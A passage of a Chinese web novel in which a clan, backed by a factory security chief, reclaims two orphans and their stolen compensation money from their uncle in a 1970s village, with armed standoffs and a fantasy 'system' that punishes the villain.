“他娘的!”杨小军听完,一拳砸在柜台上,震得瓶瓶罐罐一阵乱响。他本就是个仗义的性子,此刻更是义愤填膺,脸上青一阵白一阵。“这帮孙子,简直不是人!刮绝户财,也不怕天打雷劈!” 他原地转了两圈,猛地一拍大腿,眼里闪着精光。“兄弟,你别急!这事好办!我们家跟纺织厂的厂长是老邻居,我爹跟他年轻时是一个车间的工友。我今晚就上他家坐坐,把这事原原本本跟他掰扯清楚! 厂长最重名声,厂里出的抚恤金被人这么糟蹋,他脸上也挂不住!到时候让他保卫科出马,开着吉普车去,我就不信那个叫赵国平的还敢放半个屁!” 江沐看着他胸有成竹的样子,心中一块石头落了地。 专业的事,还是得交给专业的人来。 他要的,就是这个效果。 “行,小军,这事就拜托你了。”江沐郑重地拍了拍他的肩膀。 “兄弟,你这说的什么话!”杨小管大手一挥,满脸的不乐意,“你的事就是我的事!等着我的好消息!” 从药材收购站出来,夜风一吹,李有柱的酒醒了大半,但心里的火气却越烧越旺。 他闷着头,一言不发。 江沐走在他身边,打破了沉默。 “姑父,孩子明天接回来,是天大的喜事,咱不能冷冷清清的。怎么着也得摆上两桌,叫上相熟的邻里,给孩子们去去晦气,也让他们感受感受家里的热乎气。” 李有柱脚步一顿,浑浊的眼睛里泛起光亮,随即又黯淡下去,声音嘶哑。 “摆,肯定得摆……可我这手里头……” “钱的事你别管,我先垫着。”江沐笑道,“以后你慢慢还就是。走,供销社还没关门,咱们去割点肉,称点白面。” 二人不再多言,径直去了供销社,割了五斤肥瘦相间的猪肉,又称了二斤白面,江沐还买了两包在当时堪称奢侈的水果糖。 回到青莲公社二大队,已是深夜。 李有柱家院子的灯还亮着,张兰显然一直没睡,在院门口来回踱步,望眼欲穿。 一看到两人的身影,她立刻迎了上来,声音里带着颤抖。 “当家的,咋样了?见到娃们了吗?” 李有柱重重地点了点头,眼圈一红。 “见着了。明天一早,江沐帮忙联系了车,就把他们接回来。” 张兰悬着的一颗心总算放下了,双手合十,嘴里念叨着“老天保佑”。 可当李有柱将两个孩子这些年的遭遇,尤其是那笔被侵吞的赔偿款和被亲戚洗劫一空的家当,咬牙切齿地复述了一遍后,张兰的眼泪直往下掉,捂着嘴,哭得浑身发抖,最后化作一声压抑的怒骂。 “天杀的赵国平!丧良心的畜生啊!那可是他亲哥的买命钱!他怎么下得去手!” 李有柱一拳砸在院里的石磨上,震得手背生疼。 “我明天去接人,还指不定要出什么幺蛾子!那个赵国平不是善茬,赵家堡那帮干部也靠不住!” 他眼中凶光一闪,透着一股庄稼汉特有的狠厉,“我不能就这么去,万一他们不放人,起了冲突,咱爷俩不够看!” 他当即转身,大步流星地出了院子。“我去叫人!” 半个钟头的功夫,李有柱家小小的院子里就挤满了人。 都是李家的本家,一个个膀大腰圆,手里拎着锄头、扁担,神情肃穆。 最终合计下来,李有柱本家这边,算上他和他大儿子李振国,足足凑了十个壮劳力。 江沐和闻讯赶来的高志强也算上,一共十二个人。 李有柱甚至从床底下摸出了两杆保养得油光锃亮的猎枪,往怀里一揣,那股子要拼命的架势,看得人心头发紧。 江沐和张小月回到自己的家,月光清冷。 张小月一边帮他收拾,一边小声嘀咕:“江沐哥,我瞧着……咱家妲己好像不对劲。” 江沐顺着她的目光看去,只见那只通体雪白的狐狸正蜷在炕角,肚子似乎比平时圆润了不少,眼神也透着一股慵懒。 他心里一动,走过去,蹲下身,盯着妲己那双灵动的眼睛,语气里带着警告。 “我不管你肚子里揣了几个,记住了,要是敢生下来就扔下不管,我就把它们一个个全给你从山崖上丢下去,说到做到。” 妲己仿佛听懂了,喉咙里发出一声低低的呜咽,把头埋得更深了。 江沐知道,它听进去了。 第二天,天刚蒙蒙亮,江沐就起了床,来到了李有柱家。 张小月则直接去了灶房,帮着张兰准备今天的饭菜。 院子里,人声鼎沸,气氛紧张又期待。 没过多久,解放牌卡车那标志性的轰鸣声由远及近,停在了院门口。 一个皮肤黝黑、笑容憨厚的年轻人从驾驶室跳了下来,正是牛水生。 李有柱一见他,立刻满脸堆笑地迎了上去,热情得有些过分,从兜里掏出大前门,不由分说就给牛水生点上了一根。 “孩子,辛苦了!大清早的麻烦你跑一趟!” 牛水生被这阵仗搞得有些不好意思,挠着头,嘿嘿直笑。 “李队长太客气了,江哥的事,就是我的事!” 张兰也端着一碗热气腾腾的鸡蛋面从灶房里出来,不由分说地塞到牛水生手里。 “后生,来,先垫吧垫吧肚子!吃了饭才有力气开车!” 牛水生也没推辞,捧着大碗,吸溜一口面条,咧嘴一笑。 “那我可不客气了!婶儿这面条做得真香!” 第146章 这阵仗,是要出大事啊 热气腾腾的鸡蛋面下了肚,牛水生感觉浑身都充满了力气。 他抹了抹嘴,大手一挥,招呼着众人上车。 “都坐稳了!” 李有柱和他那十个本家亲戚,一个个身强力壮,手里拎着家伙,面色沉凝地爬上了解放卡车的后车斗。 李有柱怀里揣着的那两杆猎枪,枪托抵着车厢板,黑洞洞的枪口仿佛随时能喷出怒火。 牛水生发动汽车,从后视镜里瞥了一眼,眼角狠狠一抽。 这阵仗,哪是去接亲人,分明是去干仗啊! 他握着方向盘的手都紧了几分,脚下油门踩得有些犹豫。 “江兄弟……李队长……”牛水生的声音压得极低,带着不易察觉的紧张,“咱们这……这是要去火拼啊?这要是闹大了,可不好收场。” 江沐坐在副驾驶,神色平静,他递过去一支烟,语气淡然。 “不是闹事,是去接人,讨个公道。有些人不讲理,我们就得让他看看咱们的理有多硬。” 他的声音不大,却带着一种令人信服的力量。 牛水生心头稍定,但依旧犯嘀咕。 他一脚油门踩下,卡车喷出一股黑烟,颠簸着驶上了土路。 “江兄弟,咱们这是去赵家堡子哪个生产队?” “就赵家堡子大队部所在的那个队。”江沐回答。 “哎哟!”牛水生猛地一拍大腿,脸上露出又惊又喜的神色,“那敢情好!我表叔就在那当书记!叫赵小树!” 江沐闻言,眼中闪过了然。 原来如此,怪不得昨天那个赵书记对自己还算客气。 “昨天见过了。”江沐言简意赅,将李有柱认亲,以及赵家兄妹被二叔侵吞抚恤金的事三言两语说了一遍,“今天就是去把孩子接回来,但怕他们那个混账二叔和稀泥的大队长从中作梗。” 牛水生听得眉头紧锁,方向盘都捏出了汗。 他是个实在人,最听不得这种欺负孤儿的烂事。 “这帮天杀的!简直是往人祖坟上刨土!”他骂了一句,随即脑子飞速转动起来,“江哥,你看这样行不?咱们先别直接去他们家,先上我表叔那。让他当个中间人,出面调解。能不动手,咱尽量别动手,不然传出去名声不好听。” 这正合江沐的心意。 他要的是结果,而不是过程多激烈。 能用最小的代价解决问题,何乐而不为? “我们也是这个意思。”江沐的目光投向窗外掠过的田野,声音沉稳,“他们不动手,咱们就是去接亲的庄稼汉。他们要是敢动手,那车上的锄头扁担,可就不是用来种地的了。” 卡车一路轰鸣,很快就到了赵家堡子大队部门口。 牛水生轻车熟路地将车停在了不远处一户人家的院门前。 “这就是我表叔家!” 赵小树刚端着一碗玉米糊糊蹲在门口,正准备吃饭,就看到一辆解放卡车停在自家门口,车上还跳下来十几个手持凶器的壮汉,吓得他差点把碗都扔了。 待看清从副驾驶下来的江沐时,他先是一愣,随即恍然大悟。 “江……江医生?”赵小树连忙放下碗,脸上挤出笑容,心里却直打鼓。 这阵仗,是要出大事啊! “赵书记,早上好。”江沐神色如常地点了点头,“今天冒昧打扰,是来接我那两个弟弟妹妹回家的。” 牛水生赶忙上前,亲热地喊了一声:“表叔!” 他快步走到赵小树身边,不由分说地将他拉向屋里,压低了声音,神情无比严肃。喝了 “表叔,这事你可得帮我兜住了!外头那位江兄弟,是我一个特好的朋友,李队长是他的长辈。今天这事,你要是处理不好,咱俩都得吃不了兜着走!” 赵小树被他这番话搞得一头雾水:“你这小子,胡说八道什么?一个公社医生,能有多大来头?” “来头?!”牛水生凑到他耳边,声音压得像蚊子哼哼,“我跟你说句掏心窝子的话,这位江兄弟……不简单。他认识的人,随便跺跺脚,咱们这小地方就得晃三晃!你昨天不是也见了吗?他那气度,是普通知青能有的?你啊,就别琢磨了,衡量好了,千万别把人得罪了!” 赵小树浑身打了个激灵,额角渗出细密的汗珠。 他回想起昨天江沐那双洞悉一切的眼睛,心里信了七八分。 这种人物,确实不是他一个小小的村支书能得罪得起的。 “我明白了。”他深吸一口气,脸色变得凝重,“我去跟大队长赵抗战通个气,让他心里有个数。” 赵小树再从屋里出来时,态度明显客气了许多,脸上堆满了笑。 “江医生,李兄弟,你们稍等片刻。我去去就来,这事包在我身上,保证让孩子们安安稳稳地跟你们走!” 说完,他便急匆匆地朝着大队部跑去。 赵抗战正在办公室里抽着旱烟,听完赵小树添油加醋的一番话,手里的烟锅都差点掉了。 “你说啥?那小子认识大领导?小树,你可别被人给蒙了,这年头吹牛皮的多了去!他不会是想借着由头,来坑咱们吧?”赵抗战的脸上满是怀疑。 “坑咱们?”赵小树急得直跺脚,“我的抗战哥哎!你没看外头那阵仗吗?解放卡车拉了十几号人,个个手里拎着家伙,李有柱那老小子连猎枪都带来了!这要是真放任不管,两边在咱们村里动起手来,打出个好歹,出了人命,这责任是你担还是我担?” 赵抗战被噎得说不出话来。 他猛吸了一口旱烟,最终,他把烟锅往桌上一磕,站了起来。 “走!去看看!” 片刻之后,赵小树和赵抗战一前一后地来到江沐他们面前,态度恭敬了许多。 “江医生,误会,都是误会。”赵抗战脸上挤出比哭还难看的笑容,“咱们这就带你们过去。” 一行人浩浩荡荡地穿过村子,来到了赵国长那破败的院落前。 院门虚掩着,赵卫国和赵明珠正忐忑不安地等在院里。 看到李有柱那张饱经风霜却又无比亲切的脸,赵明珠的眼圈瞬间就红了。 她嘴唇翕动了几下,那声爹却怎么也卡在喉咙里,滚不出来。 江沐看着她窘迫又激动的样子,轻轻调侃了一句。 “这都准备回家了,还藏着掖着,不打算叫人?” 李有柱黝黑的脸上泛起红晕,他摆了摆手,浑浊的眼睛里满是理解。 “娃儿,别急,一时半会改不过来就不改。以后日子长着呢!”他转过身,指着身后那些神情肃穆的汉子,声音洪亮地介绍起来,“来,卫国,明珠,这些都是咱家的叔伯兄弟,是你们的亲人!” 一个络腮胡子的大汉咧嘴一笑,露出一口黄牙,声音瓮声瓮气的。 “像!真是太像了!这闺女的眉眼,简直跟嫂子年轻时候一个模子刻出来的!” “可不是嘛!这小子的倔脾气,一看就是咱老李家的种!” 亲戚们七嘴八舌地附和着,言语间的亲热,瞬间冲散了院子里最后尴尬。 赵卫国的眼睛也湿润了,他吸了吸鼻子,上前一步,推开了院门。 “爹……江哥,各位叔伯,都……都进院里坐吧。” 第147章 这是要天塌了啊 “哟,这儿挺热闹啊!怎么着,这是要抄家啊?” 一个精瘦的男人背着手,吊着三角眼,踱着步子走了进来,正是赵卫国兄妹的二叔,赵国平。 李有柱脸瞬间沉了下来,攥紧的拳头青筋毕露。 赵抗战一看这架势,头皮都炸了,赶紧一个箭步挡在中间,脸上挤出僵硬的笑容。 “国平,你来干什么?这是人家李队长,孩子们的亲爹,今天特地来接孩子们回家。这事跟你没关系了,你回吧。” “没关系?”赵国平像是听到了天大的笑话,声音尖锐得刺耳,“我哥我嫂子没了,这两个拖油瓶是谁拉扯的?是我!我一把屎一把尿地喂他们,现在人长大了,你们说接走就接走?天底下哪有这么便宜的事!我白养了?” 他唾沫横飞,一副占尽了道理的无赖模样,猛地一转身,朝着院外扯着嗓子就嚎。 “都来看啊!都来瞧瞧啊!外村人跑到咱们赵家堡子抢人啦!欺负我们赵家没人啦——!” “你放你娘的屁!” 一声暴喝如平地惊雷。 李有柱身后的李振国,猛地往前踏了一步。 他身材魁梧如铁塔,一双虎目死死瞪着赵国平,声音低沉而充满了压迫感。 “我弟弟妹妹在你这过的是什么日子,你心里没点数?今天我们老李家的人就在这儿!你再敢动他们一根手指头试试!” 那股子煞气,让赵国平心头猛地一颤,下意识地后退了半步。 但他很快就稳住了心神,眼里的怨毒更甚。 村里人多就是道理,他就不信这十几个外乡人能翻了天! “你……你们等着!”他色厉内荏地撂下一句狠话,连滚带爬地跑出了院子,嘴里依旧不干不净地叫嚷着,去村里摇人去了。 “卫国,明珠!”李振国不再看那个无赖,转头对着两个孩子,声音瞬间温和下来,“去,屋里收拾东西。但凡是你们自己的,是爹妈留下的,针头线脑都给带上!一样都别给这帮畜生留下!” “哎!”赵卫国重重地点了点头,拉着妹妹转身就进了那间昏暗的窑洞。 院子里的气氛凝重到了极点。 李有柱带来的人,默默地将手中的锄头、扁担握得更紧,眼神警惕地盯着院门口。 江沐则始终站在门口,神色淡然,他的目光越过低矮的土墙,投向村子的深处。 很快,一阵嘈杂的脚步声和叫骂声由远及近。 来了。 二十几个扛着农具的汉子,乌泱泱地涌了过来,将小小的院门口堵得水泄不通。 一张张被太阳晒得黝黑的脸上,满是被人煽动起来的愤怒。 江沐没有丝毫犹豫,右手看似随意地往腰间一探,再抬起时,一把黝黑的五四式手枪,稳稳地握在他的手中。 保险被打开的声音清脆无比,在这剑拔弩张的时刻,仿佛一道惊雷在每个人心头炸响。 与此同时,他身后的李振国等人也动了。 他们利索地扯开上衣,从怀里、腰间,竟齐刷刷地掏出了五六半自动步枪! 那黑洞洞的枪口,无声地对准了门口那群刚刚还气势汹汹的村民。 空气,在这一刻彻底凝固了。 锄头扁担,在真正的杀器面前,脆弱得就像个笑话。 “我的娘啊!” 赵小树腿一软,差点没直接瘫在地上。 赵抗战更是感觉头皮发麻。 这他娘的哪里是来接亲的庄稼汉,这分明是一支武装到牙齿的精锐小队! 他终于明白牛水生那句随便跺跺脚,咱们这小地方就得晃三晃是什么意思了! 这是要天塌了啊! “住手!都给我住手!”赵抗战魂飞魄散,连滚带爬地冲到两拨人中间,对着堵门的那群村民,声嘶力竭地吼了起来,“都干什么玩意儿!反了天了你们!” 他一把揪住人群最前面一个拄着拐杖的老爷子。 “海峰二叔!你听我说!赵国平那小子在撒谎!人家是孩子们的亲爹!亲爹来接自己的娃回家,天经地义!你们跟着瞎起哄,是想干啥?想造反吗?!” 被称为赵海峰的老爷子浑身一震,浑浊的眼睛里闪过惊疑。 他看了一眼赵抗战那张快要哭出来的脸,又瞥了一眼对面那些黑洞洞的枪口,干瘪的嘴唇哆嗦了一下。 他意识到,他们被赵国平当枪使了! 老脸瞬间涨成了猪肝色,一股巨大的羞耻感涌上心头。 “都……都给我滚回去!”赵海峰猛地一顿手里的拐杖,对着身后的人怒吼,“还嫌不够丢人吗?!” 他转头对着身后一个最壮实的儿子低喝:“大山!带人回去!快!” 那群村民面面相觑,看到老爷子发了火,又被那些枪口吓破了胆,哪还敢停留,扔下家伙事,作鸟兽散。 赵海峰深吸一口气,整理了一下衣襟,走到李有柱面前,脸上满是愧色。 “这位……亲家,我是卫国他们的二爷。都怪我们,听了国平那个混账东西的挑唆,以为出了什么大事……这事闹的,太丢人了,我给你们赔个不是。” 江沐见状,抬手示意了一下。 李振国等人会意,哗啦啦几声,又将枪都收了起来。 就在这时,一阵引擎的轰鸣声由远及近。 一辆解放军用吉普车,带着一路烟尘,猛地停在了院门口。 赵抗战的儿子从车上跳了下来,气喘吁吁地跑到他爹跟前。 “爹!纺织厂保卫科的人来了,说要找赵国平!” 话音未落,一个穿着蓝色干部服,身板挺直的中年男人从吉普车上走了下来。 他目光扫视了一圈院子里的景象,当看到江沐时,立刻露出了热情的笑容,快步上前。 “江医生!可算找到您了!刘厂长特意让我来处理赔偿款的事,您放心,保证给办得妥妥帖帖!” 来人正是纺织厂保卫科的钱科长。 他上次在公社卫生院见识过江沐的手段,对他敬佩不已。 江沐朝他点了点头,算是打了招呼。 钱科长转过身,脸上的笑容瞬间收敛,变得严肃无比。 他凌厉的目光扫过在场的所有人,声音洪亮。 “谁是赵国平?麻烦赵抗战同志帮忙找一下。” 刚刚躲在人群后面,看到枪就吓得不敢露头的赵国平,此刻心里正七上八下。 他不知道这纺织厂的人来干什么,但听到是为赔偿款的事,心里顿时咯噔一下,一种不祥的预感笼罩心头。 可事到如今,他也躲不过去。 他硬着头皮,从角落里站了出来,梗着脖子,强作镇定。 “我就是赵国平!找我干啥?” 第148章 这瓜,吃得还挺有意思 钱科长他上下打量着赵国平。 “赵国平同志,我们接到举报,你冒领了你哥哥赵国长同志的工伤亡故赔偿款,共计二百元整。这笔钱,是厂里给两个孤儿的抚恤金。现在,请你把钱交出来。” “冒领?”赵国平眼珠子一转,非但没有半分心虚,反而嗤笑一声,“钱科长,你这话我就不爱听了!那是我亲哥!我亲哥拿命换来的钱,我这个当亲弟弟的拿了,怎么就叫冒领了?难道这钱给外人,倒不叫冒领了?” 他这番颠倒黑白的混账话,让李有柱气得须发皆张,刚想破口大骂,却被江沐一个眼神拦了下来。 钱科长根本不跟他废话,脸上的表情没有丝毫变化,只是轻轻一挥手。 “既然赵国平同志不愿意配合,那就只能请你跟我们回厂里去,把话说清楚了。” “是!” 他身后两名穿着蓝色工装、胳膊上戴着保卫袖章的干事应声而出,动作干脆利落,左右一夹,根本不给赵国平任何反应的时间。 其中一人反扭住赵国平的胳膊,另一人直接从腰间掏出一副锃亮的手铐。 冰冷的钢铁瞬间锁住了赵国平的手腕。 “你们干什么!你们凭什么抓人!”赵国平彻底慌了,他没想到对方竟然说动手就动手,连个缓冲都没有。 就在这时,一道尖锐的女声从屋里嚎了出来。 “杀人啦!当官的欺负老百姓啦!没天理啦——!” 一个头发散乱、颧骨高耸的婆娘冲了出来,正是赵国平的老婆。 她一看到自己男人被铐上了,顿时疯了一样,张开五指就朝着一个保卫干事的脸上挠去。 “我跟你们拼了!你们这帮吃人不吐骨头的王八蛋!” 那保卫干事显然没料到这女人如此彪悍,下意识地后退一步,却不好跟一个女人动手。 一声清脆的枪声,骤然在小院上空炸响! 是另一个保卫干事,他面无表情地举着一把五四式手枪,黑洞洞的枪口正对着天空,一缕青烟袅袅升起,空气中瞬间弥漫开一股呛人的硝烟味。 那婆娘的爪子僵在了半空中,整个人动弹不得。 她那张撒泼的脸瞬间煞白,嘴唇哆嗦着,一个字也说不出来了。 枪声彻底击溃了她的心理防线。 “再敢妨碍公务,就不是朝天放枪这么简单了。”开枪的保卫干事冷冷地撂下一句,收起了枪。 那婆娘腿一软,瘫坐在地,虽然不敢再动手,嘴里却开始不干不净地咒骂起来,各种污言秽语像是不要钱的脏水,泼向在场的所有人。 钱科长看都没看她一眼,对着手下一点头。 “人,带走。” “慢着!” 一声苍老而有力的声音响起。 所有人的目光都投了过去,只见村里的二爷赵海峰,拄着拐杖,重重地在地上顿了一下,走上前来。 “钱科长,咱们赵家堡子虽然穷,但也是讲道理的地方。你们就这么不清不楚地把人带走,不合适吧?总得给个说法。” 钱科长见是村里的老人,态度缓和了几分,但立场依旧坚定。 “老人家,您误会了。我们不是抓人,是请赵国平同志回去协助调查。他哥哥嫂子是我们纺织厂的职工,出了事,厂里不能不管。 这笔赔偿款是给两个孩子的,现在钱到了他手里,孩子却一分没见着,这个事情,我们必须调查清楚。” 赵海峰眉头紧锁:“亲兄弟,难道还不能代领了?” “能!”钱科长斩钉截铁,“但代领了,就得给到孩子手上!他要是给了,我们二话不说,立马放人,再给他赔礼道歉!可他要是吞了……老人家,您也是有儿孙的人,将心比心,这事儿做得地道吗? 退一万步讲,就算不是亲叔叔,好歹也养了这么久,人心都是肉长的,怎么就能做得这么绝!” 这番话有理有据,让赵海峰一时也说不出话来。 被押着的赵国平眼看靠山也要倒,急得满头大汗,猛地扭头,怨毒的目光死死地盯住了赵抗战和赵小树。 “是你们!是你们两个吃里扒外的东西!勾结外人来村里抓自家人!我拿我哥的钱,天经地义!你们为了讨好外人,连自己姓什么都忘了吗?!” 他声嘶力竭地嘶吼着,试图将这盆脏水泼到村干部身上。 那瘫在地上的婆娘也立刻来了精神,指着赵抗战的鼻子尖叫:“对!就是他们!勾结外人,要把咱们村的钱都弄走!乡亲们,你们可得睁大眼睛啊!” 然而,这一次,没人再理会他们了。 刚刚还义愤填膺的村民们,此刻都缩着脖子,眼神躲闪。 开玩笑,一边是步枪手枪,一边是国营大厂的保卫科,谁敢跟着这对蠢货夫妻瞎起哄? 赵抗战的脸被气得一阵红一阵白,他指着赵国平,手指都在发抖。 “赵国平!你少在这儿血口喷人!我最后劝你一句,赶紧把钱还给孩子们!不然事情闹大了,谁也救不了你!” “我呸!”赵国平狠狠啐了一口,“老子就不还!有本事你们弄死我!” “好!好!”赵抗战怒极反笑,他猛地一挥手,对着那两个保卫干事吼道,“带走!赶紧给我带走!这种村里的败类,让他去劳改队里好好改造!” 眼看着两个保卫干事真的开始拖着他往吉普车走,赵国平那股无赖的劲头终于泄了。 去劳改队?那可是要脱层皮的地方!他彻底怕了! “别!别拉我!我配合!我配合调查!”他几乎是哀嚎出声,整个人都软了下来,“婆娘!你个死人,还愣着干什么!赶紧回家拿钱去啊!” 那婆娘从地上一骨碌爬起来,还有些发懵,下意识地问了一句:“都……都给吗?” “你他娘的是盼着老子进去是不是!”赵国平气得差点一口血喷出来,破口大骂,“一分不少地拿过来!快去!” “哎!哎!”那婆娘如梦初醒,连滚带爬地跑回了窑洞里。 院子里,这场闹剧终于落下了帷幕。 江沐从头到尾都好整以暇地抱着臂,靠在门框上。 他就像一个置身事外的看客,冷眼旁观着这场由贪婪引发的人性大戏。 这瓜,吃得还挺有意思。 第149章 你找死是吗? 没多时,那婆娘便从窑洞里冲了出来,手里攥着一沓厚厚的钱。 赵国平的眼睛死死地盯着那沓钱,喉结上下滚动了一下,勉强挤出一个比哭还难看的笑脸,冲着钱科长。 “钱科长,你看……这钱也拿来了,我这手铐……” 钱科长面无表情,只是对着手下偏了偏头。 手铐解开了。 赵国平迫不及待地揉着自己发红的手腕,一把从婆娘手里夺过那沓钱,动作粗暴。 他一步步蹭到钱科长面前,眼神躲闪,不情不愿地将钱递了过去。 钱科长没有接,而是目光一转,落在了那个一直紧紧护着妹妹、眼神倔强的少年身上。 “孩子,过来。” 赵卫国牵着妹妹的手,一步一步走了过去,小小的胸膛挺得笔直。 钱科长从赵国平手里接过那二百块钱,看都没看一眼,直接塞进了赵卫国的手里,动作温和。 “拿着。这是你爹妈用命给你换来的,谁也抢不走。” 二百块钱,对一个半大的孩子来说,沉甸甸的,几乎压得他手腕一沉。 赵卫国死死地攥住钱,抬起头,顶着赵国平那几乎要杀人的眼神,沉声道。 “谢谢钱科长。” “应该的。事情办完了,我们也要回厂里复命了。”钱科长点点头,对着李有柱和赵抗战略一示意,便转身带着手下朝吉普车走去。 引擎发动的声音响起,吉普车卷起一阵黄土,很快就消失在了村口。 几乎就在车影消失的同一瞬间,赵国平那压抑到极点的怨毒,轰然爆发! “小兔崽子!把钱还给我!” 他面目狰狞地扑向赵卫国,枯瘦的手爪直取孩子怀里的那沓钱。 然而,他快,有人比他更快! 一道黑影闪过,李振国魁梧的身躯已然挡在孩子身前。 冰冷的枪口,死死地顶在了赵国平的脑门上。 枪机扳动的声音响起,李振国冷声道,“你找死是吗?” 赵国平的动作瞬间凝固,整个人僵住。 他能清晰地感受到额头上那圆形金属的冰冷触感,以及那股从枪口透出的、若有若无的硝烟味。 死亡的气息,第一次如此真实地笼罩着他。 “你……你们……”他的嘴唇哆嗦着,一个字也说不完整。 “李有柱!”赵海峰那苍老的声音再次响起,这一次,里面充满了压抑的怒火,“你带着几杆枪跑到我们赵家堡子撒野,真当我们村里没人了吗?!” 他手里的拐杖重重地敲击着地面,发出一声闷响。 李有柱的脸色也沉了下来,但他没有发作,只是对着李振国摆了摆手。 “振国,把枪收起来。” 李振国闷哼一声,虽然心有不甘,但还是听话地收回了步枪,只是那双眼睛,依旧像刀子一样剜在赵国平身上。 李有柱这才转向赵海峰,声音不高,却字字千钧。 “赵二爷,我今天不是来砸场子的,是来接我娃。娃接到了,钱也拿回来了,这个面子,我卖你。可要是再有人敢动我娃一根汗毛,那就别怪我李有柱翻脸不认人!” 这话是说给赵海峰听的,也是说给在场所有赵家堡子的人听的。 赵海峰是个明白人,他知道李有柱已经给了天大的台阶。 今天这事,本就是赵国平理亏。 人家带着国营大厂的保卫科和真枪实弹的民兵来,已经不是他一个村的二爷能扛得住的了。 他脸色铁青,猛地回头,拐杖几乎要戳到赵国平的鼻子上。 “滚!还嫌不够丢人现眼吗?!我们赵家的脸,今天都让你给丢尽了!滚回你的窑里去!” 赵国平被这声怒喝吼得一个激灵,再看看李有柱那边几个虎视眈眈的壮汉,最后的侥幸也破灭了。 他怨毒地瞪了赵卫国兄妹一眼,又畏惧地瞥了瞥李振国手里的枪,最后夹着尾巴,灰溜溜地钻回了自家窑洞。 院子里的气氛,这才彻底松弛下来。 村干部赵抗战长长地舒了一口气,用袖子擦了擦额头的冷汗。 刚才那一瞬间,他真怕两边擦枪走火,到时候他这个村干部夹在中间,里外不是人。 “振国,愣着干啥,搬东西!”李有柱一声令下。 李振国几人立刻应声,手脚麻利地将属于兄妹俩的那点可怜的家当——一床破旧的被褥、几件打了补丁的衣服、一口豁了口的铁锅,全都搬上了牛车。 一切收拾妥当,李有柱朝着那两个始终站在一起的孩子招了招手,声音也柔和了下来。 “卫国,明珠,走了,跟爸回家。” 赵卫国牵着妹妹,却没有立刻动身。 他犹豫了一下,抬起头,看着李有柱,眼里噙着泪水,声音带着哽咽。 “爸……我想……我想去给我爸妈上个坟,跟他们说一声。” 这一声爸,叫得自然而然,却让李有柱这个铁塔般的汉子,眼圈瞬间就红了。 他用力地点点头,声音有些沙哑。 “应该的!走,爸陪你们一起去!” 三人来到村后山坡上两座孤零零的新坟前。 黄土堆得不高,连块像样的墓碑都没有。 赵卫国跪倒在地,怀里那二百块钱被他紧紧地按在胸口,仿佛这样就能让地下的父母感受到。 “爸!妈!”他再也忍不住,泪水决堤而下,“你们看见了吗?我亲爸……我亲爸来接我和妹妹了!你们放心,我们以后有家了,再也不会被人欺负了!” 他一边哭,一边重重地磕头,额头砸在坚硬的黄土地上,发出沉闷的声响。 “爸,妈,你们放心!以后我赵卫国结婚生子,第一个娃,不管男女,都姓赵!给你们赵家续香火!” 旁边的赵明珠也跟着哥哥跪下,哭着磕头。 李有柱看着这两个可怜的孩子,心头一阵阵发酸。 他从兜里摸出三根香烟,没有点燃,而是恭恭敬敬地插在了坟头的土里。 他蹲下身,看着那两座黄土堆,声音低沉。 “国长兄弟,嫂子,我是青莲公社二大队的李有柱。你们放心,娃跟我回去了,也还是你们的娃。我李有柱只要有一口吃的,就饿不着他们兄妹俩。” 他顿了顿,伸手拍了拍赵卫国的肩膀。 “以后……要是想娃了,就到梦里头去看看他们,告诉他们,别怕,好好过日子。” 第150章 以为就这么结束了?想的美! 烟气袅袅,混着黄土的腥味,在两座新坟前缓缓散开。 李有柱收回手,重重地叹了一口气,刚想招呼两个孩子上车,眼角的余光却瞥见村口小路上又走来两个人影。 正是赵海峰和赵国平。 李有柱刚松弛下去的肌肉又一次绷紧。 李振国等人更是下意识地握紧了手里的枪托,眼神警惕。 “李队长,留步。”赵海峰喊道。 众人停下脚步。 赵海峰走到近前,浑浊的老眼扫过赵卫国和赵明珠,最后落在李有柱身上。 他用拐杖指了指赵国平身后那排窑洞。 “有柱,那院子,那三孔窑,是你那国长兄弟留下的祖宅。东西你们可以搬走,但这房子,得给娃留下。这是他们赵家的根,不能断。” 这话一出,所有人都愣了一下。 谁也没想到,他会主动提这个。 李有柱还没开口,他身边的赵卫国却先动了。 少年挺直了腰杆,从怀里掏出一把锈迹斑斑的铜钥匙,走到赵海峰面前,将钥匙递了过去。 “二爷,这是我家的钥匙。我和妹妹跟我亲爸走了,这院子……就还给村里吧。”他的声音还带着哭过的沙哑,却异常坚定。 赵海峰看着那把钥匙,又看看少年那双清澈倔强的眼睛,嘴唇动了动,最终只是点了点头,接过了钥匙。 事情到了这一步,算是彻底了结了。 李有柱冲着村干部赵抗战和赵小树拱了拱手。 “抗战兄弟,小树兄弟,今天多谢了。改天得空,来我们二大队喝酒!” “李队长客气了,路上慢点!”赵抗战连忙回礼。 牛车载着一家人,载着那点可怜的家当,缓缓驶离了这个是非之地。 江沐坐在车辕上,回头看了一眼,只见赵国平正死死地盯着远去的牛车。 江沐冷笑,以为就这么结束了?想的美! 【系统提示:疾病收集器已锁定目标赵国平,急性荨麻疹病原体已投放,潜伏期三十分钟。】 …… 牛车走远,赵抗战和赵小树才走进院子,脸色都不太好看。 “二爷。”赵抗战的语气里带着几分埋怨,“国平他哥嫂走了以后,他干的那些事,村里谁不知道?您老是长辈,之前不出面管管,现在人家找上门来了,您再拦着,这不是让我们难做吗?” 赵海峰的老脸一沉,拐杖在地上一顿,阴阳怪气地哼了一声。 “嗬,我哪敢挑你们的理?你们现在都是吃公家饭的干部了,翅膀硬了,我一个土埋半截的老东西,说话还有谁听?” 赵小树见状,赶紧上前一步,压低了声音。 “二爷,您消消气。这事儿……真不是我们不想管,是管不了。您知道刚才开那解放卡车的司机是谁不?那是我表侄儿牛水生!他偷偷跟我说了,对面那位江知青,能量大得很,在县里都认识大人物!今天纺织厂那架势您也看见了,保卫科长亲自带人来,那是什么面子?咱们惹不起啊!” 赵海峰浑身一震,浑浊的眼睛里闪过惊骇。 他不是蠢人,只是被宗族的面子蒙了心。 他猛地转过身,手里的拐杖几乎戳到了赵国平的脸上,破口大骂。 “你个不成器的东西!听见没有?!为了你那点钱,差点给整个赵家堡子招来大祸!现在满意了?人家把房子都让出来了,你还想怎么样?啊?!” 赵国平心里依旧愤愤不平,觉得这哑巴亏吃得窝囊透顶,嘴里小声嘟囔着:“那本来就是我的……” “你的?你哥嫂的命是你换的吗?!”赵海峰气得浑身发抖,“房子给你了!我的话,你乐意听就听,不乐意听就滚蛋!以后你的事,我再也不管了!你好自为之!” 说罢,他再也不看赵国平一眼,杵着拐杖,颤巍巍地走了。 赵抗战和赵小树也摇了摇头,跟着离开。 院子里只剩下赵国平一个人,他怨毒地朝着地上啐了一口唾沫。 